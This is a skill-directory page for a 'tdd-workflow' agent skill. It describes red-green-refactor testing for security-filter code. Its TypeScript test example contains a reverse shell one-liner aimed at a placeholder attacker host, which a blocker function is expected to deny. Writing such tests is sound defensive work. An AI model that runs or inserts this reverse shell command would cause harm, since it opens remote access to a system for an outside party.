# Tdd Workflow

> vibesafu TDD workflow. Required for implementing security logic.

- Skill: `kevin-hs-sohn/tdd-workflow` (Agent Skill)
- Install (CLI): `npx skillmds@latest add kevin-hs-sohn/tdd-workflow`
- Raw SKILL.md: https://api.skillmd.com/api/skills/kevin-hs-sohn/tdd-workflow/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: kevin-hs-sohn (https://skillmd.com/u/kevin-hs-sohn)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/kevin-hs-sohn/tdd-workflow

---


# TDD for Security Code

## Process

1. **RED** - Write failing test
   - Define expected input/output
   - Include edge cases (empty string, special chars, unicode)

2. **GREEN** - Pass with minimal code
   - Focus only on passing tests
   - Optimize later

3. **REFACTOR** - Clean up
   - Remove duplication
   - Verify tests still pass

## Security Test Examples

```typescript
describe('InstantBlock', () => {
  it('should block reverse shell patterns', () => {
    const input = 'bash -i >& /dev/tcp/attacker.com/4444 0>&1';
    expect(checkInstantBlock(input)).toEqual({
      behavior: 'deny',
      message: expect.stringContaining('reverse shell')
    });
  });

  it('should allow normal bash commands', () => {
    const input = 'npm install lodash';
    expect(checkInstantBlock(input)).toBeNull();
  });
});
```

## Rules

- Always write tests before adding security patterns
- False positive/negative test cases required
- Maintain 80%+ coverage

